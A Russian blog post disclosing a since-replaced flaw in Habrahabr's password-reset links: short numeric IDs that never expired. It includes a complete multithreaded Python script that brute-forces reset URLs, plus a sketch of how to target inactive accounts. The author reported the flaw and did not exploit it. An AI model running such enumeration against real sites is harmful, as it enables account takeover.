Смена чужого пароля на хабре
Слабыми местами системы являются те, на которые разработчики смотрят реже всего. Одним из таких мест является восстановление пароля на сайте/сервисе. Теперь, когда habrahabr сменил способ авторизации, решил написать пост. Опасность представлял функционал по восстановлению пароля. Рассмотрим подробнее слабые места.
Для восстановления пароля необходимо было знать только логин жертвы, обычно системы требуют ввода e-mail адреса, если добыть почтовый адрес достаточно сложно, то логин – это и ник пользователя на сайте. Как видим это первое слабое место. Помимо этого стоит reCapcha, что усложняет массовые запросы, но обойти такую систему можно с помощью сервисов распознавания капчи, вроде антигейта.
После запроса, на почту приходит ссылка для восстановления вида: https://auth.habrahabr.ru/login/reminder/[0-9]{9,10}/
Сразу можно заметить, что в качестве идентификатора используется строка состоящая из цифр от нуля до девяти, длиной 9 – 10 (100000000-9999999999) символов. Выглядит страшно, но это не совсем так. Сделав 10 запросов на смену пароля 10 раз, посмотрел на все ссылки и сделал вывод, что диапазоном является рандомное число от 100 000 000 до 2 500 000 000. Что уже не так пугающе выглядит.
После посещения своей ссылки и не меняя пароль, ссылка продолжает жить. Да, она не умирает даже после 10 посещений. Более того, по времени нет ограничений (возможно и есть), но после 3 суток ссылка все еще живая.
Собрав всё воедино был написан многопоточный скрипт на Python, который двигается по нашему диапазоны и ищет живые линки на смену пароля. Запуск был произведен на сервере от Amazon. Чтобы не грузить страницу полностью был использован метод HEAD, который как оказалось в данном случае тоже передает код ответа, 404 или 200. Блокировок по IP адресу не было, более того, я думаю HEAD запросы вовсе не логировались.
#!/usr/bin/env python #-*-encoding:UTF-8-*- import requests import Queue import threading import time queue = Queue.Queue() THREADS_COUNT = 50 start = time.time() def worker(): global queue while True: try: pid = queue.get_nowait() except Queue.Empty, error: return response = process('https://auth.habrahabr.ru/login/reminder/'+ str(pid) + '/') if response == 200: print 'https://auth.habrahabr.ru/login/reminder/' + str(pid) + '/ - 200' f = open('log.txt','wb') f.write('http://habrahabr.ru/post/' + str(pid) + '/ - 200') f.close() else: print 'https://auth.habrahabr.ru/login/reminder/' + str(pid) + '/ - 404' def process(target_link): try: res = requests.head(target_link) except Exception ,error: print str(error) return res.status_code def main(): print "STARTED" global THREADS_COUNT global DEEP global start i = 100000000 while (i < 1000000000): queue.put(i) i = i + 1 for _ in xrange(THREADS_COUNT): thread_ = threading.Thread(target=worker) thread_.start() while threading.active_count() >1: time.sleep(1) finish = time.time() print (finish - start) print "FINISHED" if __name__ == "__main__": main()
Спустя сутки была найдена реальная ссылка для восстановления пароля, менять его не стал, пусть хозяин пользуется 🙂
Из минусов метода, можно отметить то, что мы не знаем чей пароль меняем. Это нигде не указано. В качестве целенаправленной атаки можно было собрать некоторую информацию о пользователе. Например последний визит на хабр, это отображается в профиле.
В случае если человек давно не посещал ресурс, можно добавить его в базу для последующей атаки, а далее уже менять пароль и пользоваться аккаунтом.
После обнаружения ошибок, я сообщил в ТП. Возможно это стало одним из кирпичиков организации нового способа авторизации на сайте через TM ID.
One reply to “Смена чужого пароля на хабре”
qwe
Молодец, расковырял болячку.